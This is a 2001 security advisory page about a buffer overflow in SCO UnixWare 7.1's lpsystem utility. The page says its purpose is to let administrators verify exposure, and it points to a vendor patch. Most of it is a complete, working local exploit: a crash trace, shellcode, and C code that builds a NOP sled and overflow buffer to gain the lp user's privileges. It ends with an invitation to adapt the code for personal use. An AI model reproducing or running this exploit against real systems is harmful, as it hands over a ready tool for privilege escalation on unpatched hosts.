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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	UnixWare 7 lpsystem Exploit Code Released 15 Oct. 2001    Summary SCO UnixWare 7.1's sgid-lps '/usr/sbin/lpsystem' will allow any local user to gain root privilege. The following is an exploit code that can be used by administrators to verify whether they are vulnerable.   Credit: The information has been provided by al3x hernandez. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Exploit: /** ** UnixWare 7.1 LPsystem Xploit BufferOverflow ** ** Alex Hernandez <al3xhernandez@ureach.com> ** Thanks all the people from Spain and Argentina. ** ** Special Greets to: White-B, Pablo S0r & Paco Spain. ** ** ** Technical Details: ** ** # ls -la /usr/sbin/lpsystem ** ---s--x--x 1 root lp 41840 Ap 4 998 /usr/sbin/lpsystem ** # ** # /usr/sbin/lpsystem `perl -e '{print "A"x100000}'` ** Segmentation Fault - core dumped ** # ** ** ** Maped with truss : ** ** # truss /usr/sbin/lpsystem `perl -e '{print "A"x100000}'` ** ** [...] ** ** read(3, " A A A A A A A A A A A A".., 1032) = 1032 ** write(4, " A A A A A A A A A A A A".., 1023) = 1023 ** read(3, " A A A A A A A A A A A A".., 1032) = 1032 ** write(4, " A A A A A A A A A A A A".., 1023) = 1023 ** read(3, " A A A A A A A A A A A A".., 1032) = 475 ** write(4, " A A A A A A A A A A A A".., 1023) = 1023 ** read(3, 0x0830B740, 1032) = 0 ** close(3) = 0 ** write(4, " A A A A A A A A A A A A".., 549) = 549 ** close(4) = 0 ** rename("/etc/lp/lpdatAAA00012y", "/etc/lp/Systems") = 0 ** lvlfile("/etc/lp/Systems", 2, 0x07F53C5C) Err#89 ENOSYS ** open("/etc/lp/Systems", O_WRONLY|O_APPEND, 0664) = 3 ** fcntl(3, F_SETLK, 0x07F53C2C) = 0 ** fcntl(3, F_GETFL, 0x00000009) = 9 ** lseek64(3, 0, 2) = 1542283 ** write(3, " A A A A A A A A A A A A".., 1000000) = 1000000 ** write(3, " : x : - : s 5 : - : 1 0".., 20) = 20 ** close(3) = 0 ** lvlfile("/etc/lp/Systems", 2, 0x07F53C90) Err#89 ENOSYS ** xstat(2, "/var/spool/lp/fifos/FIFO", 0x07F53344) = 0 ** open("/var/spool/lp/fifos/FIFO", O_WRONLY|O_NDELAY, 0) = 3 ** close(3) = 0 ** xstat(2, "/var/spool/lp/fifos/FIFO", 0x07F533E0) = 0 ** open("/var/spool/lp/fifos/FIFO", O_RDWR, 0) = 3 ** ioctl(3, I_CANPUT, 0x00000000) = 1 ** getgid() = 103 [ 103 ] ** getuid() = 0 [ 0 ] ** Incurred fault #6, FLTBOUNDS %pc = 0x08072410 ** siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141 ** Received signal #11, SIGSEGV [default] ** siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141 ** *** process killed *** ** ** Download the patch Sco^s page http://www.sco.com ** Bug reported 04-OCT-2001 and publish in security^s ** pages 08-OCT-2001. ** ** Modify this c0de for u use personal :-) **/ #include <stdlib.h> #include <stdio.h> char scoshell[]= //ShellCode Sco Unixware 7.1 /tmp/xx   "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0" "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff" "\xff\xff/tmp/xx\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa"; #define LEN 100000 #define NOP 0x90 unsigned long get_sp(void) {   __asm__("movl %esp, %eax");        } int main(int argc, char *argv[]) {      long int offset=0;      int i;   int buflen = LEN;   long int addr;   char buf[LEN];      if(argc > 3) {     fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);     exit(0);   }   else if (argc == 2){     offset=atoi(argv[1]);        }   else if (argc == 3) {     offset=atoi(argv[1]);     buflen=atoi(argv[2]);        }   else {     offset=100;     buflen=100000;        }        addr=0x8056b10 + offset;      fprintf(stderr, "\nUnixWare 7.1 LPsystem exploit yields uid of lp\n");   fprintf(stderr, "Alex Hernandez al3xhernandez@ureach.com\n\n");   fprintf(stderr, "Using addr: 0x%x\n", addr+offset);      memset(buf,NOP,buflen);   memcpy(buf+(buflen/2),scoshell,strlen(scoshell));   for(i=((buflen/2) + strlen(scoshell))+2;i<buflen-4;i+=4)     *(int *)&buf[i]=addr;      execl("/usr/sbin/lpsystem", "lpsystem", buf, NULL);      exit(0);   }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS Progea Movicon TCPUploadServer Remote Exploit Trango Broadband Wireless Rogue SU Authentication Bug Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow Family Connections Multiple Remote Vulnerabilities VideoCache vccleaner Root Vulnerability QuickHeal Antivirus 2010 Local Privilege Escalation DubSite CMS Cross Site Request Forgery Vulnerability SonicWall Global Management System XSS Vulnerability Sonicwall NSA E7500 XSS Vulnerability Juniper Security Threat Response Manager XSS Vulnerability Hacking CSRF Tokens using CSS History Hack Sun Java System Identiy Manager Users Enumeration Microsoft Internet Explorer XML Buffer Overflow (Exploit)  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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